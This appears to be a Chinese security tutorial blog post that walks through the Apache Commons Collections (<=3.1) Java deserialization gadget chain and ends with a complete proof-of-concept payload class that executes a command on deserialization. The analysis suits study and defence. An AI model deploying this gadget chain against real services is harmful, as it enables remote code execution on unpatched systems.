您好,登錄后才能下訂單哦!
這篇文章主要講解了“Java反序列化漏洞舉例分析”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“Java反序列化漏洞舉例分析”吧!
Apache Commons Collections是Apache Commons的組件,該漏洞的問題主要出現在org.apache.commons.collections.Transformer接口上。在Apache commons.collections中有一個InvokerTransformer實現了Transformer接口,主要作用為調用Java的反射機制來調用任意函數。
影響組件版本:<=3.1
本地測試,下載commons-collections-3.1.zip,在項目中導入對應的jar包:commons-collections-3.1.jar
例如:
在IntelliJ IDEA中創建一個普通的Java工程,然后File --> Project Structure --> Libraries --> +添加相應的jar包
既然是反序列化漏洞,我們假設有這樣一條語句:
FileInputStream fileInputStream = new FileInputStream("unserialize.bin"); ObjectInputStream input = new ObjectInputStream(fileInputStream); Object object = input.readObject(); input.close(); fileInputStream.close();
意思是從unserialize.bin二進制文件中取出二進制數據,對其進行反序列化。
如果unserialize.bin的文件內容可控的話(也就是用戶可以進行輸入),那么可能會存在反序列化漏洞。
(有點類似于PHP的反序列化,利用的前提都是程序中存在可以利用的類或者利用鏈)
如果程序使用了低版本的Apache Commons的組件,那么就可以構造相應的輸入,達到RCE的目的。
下面對commons.collections中利用的類進行分析:
在該組件中有一個Transformer接口:
package org.apache.commons.collections; public interface Transformer { Object transform(Object var1); }
有一個實現了該接口的類,InvokerTransformer,可以去看看源碼:
public class InvokerTransformer implements Transformer, Serializable { private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } } }
這里仔細分析一下transform方法,可以發現這里利用了反射機制,調用傳入的對象的任意方法。
上面的三個參數分別表示的意思是:
methodName:方法名
paramTypes: 參數類型
args:傳入方法的參數值
一般來說,想要RCE,需要使用到Runtime這個類,但是Runtime的構造函數是一個私有方法,所以不能夠直接對其進行實例化,需要調用靜態方法來實例化,例如:
Runtime.getRuntime.exec("calc");
如果想要直接調用上面的InvokerTransformer的transform方法進行命令執行,可以這樣寫:
Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}); invokerTransformer.transform(runtime);
個人理解:以上寫法直接實例化了一個Runtime對象,但是Runtime類并沒有實現序列化接口(可以去看源碼),也就是說,Runtime實例對象不能夠被序列化,因此在構建Payload的時候,盡量在程序中不要出現Runtime實例化出來的對象,因此后面引出了兩個類:
ConstantTransformer類和ChainedTransformer類
先來看看ConstantTransformer類:
public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; } public Object transform(Object input) { return this.iConstant; }
它的transform方法會把傳入的參數直接返回出來;
再來看看ChainedTransformer類:
public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }
關鍵部分在這里:
object = this.iTransformers[i].transform(object);
如果iTransformers為上面的InvokerTransformer對象,我們可以構造多個InvokerTransformer對象(注意這里的iTransformers是個數組),讓這條語句通過反射來創建Runtime的實例,例如:
Transformer[] transformers = new Transformer[]{ //獲取java.lang.class new ConstantTransformer(Runtime.class), //執行Runtime.class.getMethod("getRuntime") new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), //執行Runtime.class.getMethod("getRuntime").invoke() new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), //執行Runtime.class.getMethod("getRuntime").invoke().exec new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform("123");
構造到這里,可以發現,只要執行chainedTransformer.transform()方法就可以RCE。
但是,既然是反序列化漏洞,最好的利用情況是當用戶傳入的輸入流被反序列化以后,就能夠直接進行攻擊(也就是說當程序直接調用readObject方法時將觸發漏洞),因此,后面引出了另外幾個類:
TransformeMap和AnnotationInvocationHandler類
首先來看看TransformeMap這個類:
protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
在該類里面有checkSetValue這樣一個方法,會調用valueTransformer.transform
也就是說這里需要構造this.valueTransformer為上面的chainedTransformer的值;
通過分析構造函數,我們發現這個值是可以直接構造的:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
(由于TransformedMap是受保護的構造函數,因此這里要利用該類提供的靜態方法decorate進行初始化)
接下來,繼續跟進TransformeMap的父類AbstractInputCheckedMapDecorator,在里面有一個靜態的內部類:
static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = this.parent.checkSetValue(value); return super.entry.setValue(value); } }
這里的setValue方法調用了checkSetValue,如果this.parent指向我們前面構造的TransformeMap對象,那么這里就可以觸發漏洞點。
在前面的基礎上加上這個:也可以命令執行
Map innerMap = new HashMap(); innerMap.put("1", "1"); //構造TransformedMap對象,帶入前面構造的transformerChain Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //返回Entry這個內部類 Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("123123");
下面分析一下 這條語句:
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
首先調用outerMap.entrySet(),也就是TransformedMap的entrySet方法:
public Set entrySet() { return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this) : super.map.entrySet()); }
跟進一下this.isSetValueChecking:
protected boolean isSetValueChecking() { return this.valueTransformer != null; }
通過之前的構造,我們這里會返回true,也就是說,上面的outerMap.entrySet()會返回new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this);
跟進一下這個類:(它其實也是一個靜態的內部類,和上面我們需要的那個MapEntry在一個類里面)
static class EntrySet extends AbstractSetDecorator { private final AbstractInputCheckedMapDecorator parent; protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) { super(set); this.parent = parent; } public Iterator iterator() { return new AbstractInputCheckedMapDecorator.EntrySetIterator(super.collection.iterator(), this.parent); } }
可以發現,它將我們傳入的transformerChain賦值給了parent;
接下來程序執行iterator方法,也就是上面的:
public Iterator iterator() { return new AbstractInputCheckedMapDecorator.EntrySetIterator(super.collection.iterator(), this.parent); }
發現它返回了另一個對象,跟進一下這個對象:(仍然是一個靜態內部類)
static class EntrySetIterator extends AbstractIteratorDecorator { private final AbstractInputCheckedMapDecorator parent; protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) { super(iterator); this.parent = parent; } public Object next() { Entry entry = (Entry)super.iterator.next(); return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent); } }
它也將我們前面構造的transformerChain賦值給了parent;
最后程序調用next方法,也就是:
public Object next() { Entry entry = (Entry)super.iterator.next(); return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent); }
發現它正好返回了我們最終需要構造的這個內部類MapEntry,并且將parent正好賦值成我們構造的transformerChain值;
最后調用onlyElement.setValue("123123");觸發命令執行;
分析到這里,還是不夠,因為我們想要構造一個只需要調用反序列化函數便可以觸發漏洞的利用鏈,這里就需要用到AnnotationInvocationHandler這個類(JDK版本要小于1.7),該類重寫了readObject方法,在該方法里面調用了map的setValue方法:
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } }
(這個代碼是網上找的,自己的jdk版本是1.8~~~~)
這里可以發現memberValues是一個map對象,并且是可以由我們直接傳入參數的,它這里用到了這樣一條語句:
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()){ memberValue.setValue(...) }
其實跟上面的構造是一樣的:
memberValues.entrySet().iterator().next()
到這里,就比較明顯了。我們傳入一個構造好的AnnotationInvocationHandler對象,目標對其進行反序列,便會造成任意代碼執行。
Payload如下:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.map.HashedMap; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.util.HashMap; import java.lang.reflect.Constructor; import java.util.Map; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test implements Serializable{ public static void main(String[] args) throws Exception { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap(); map.put("value", "2"); Map transformedmap = TransformedMap.decorate(map, null, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class); cons.setAccessible(true); Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap); //將ins序列化 ByteArrayOutputStream exp = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(exp); oos.writeObject(ins); oos.flush(); oos.close(); //取出序列化的數據流進行反序列化,驗證 ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray()); ObjectInputStream ois = new ObjectInputStream(out); Object obj = (Object) ois.readObject(); } }
感謝各位的閱讀,以上就是“Java反序列化漏洞舉例分析”的內容了,經過本文的學習后,相信大家對Java反序列化漏洞舉例分析這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。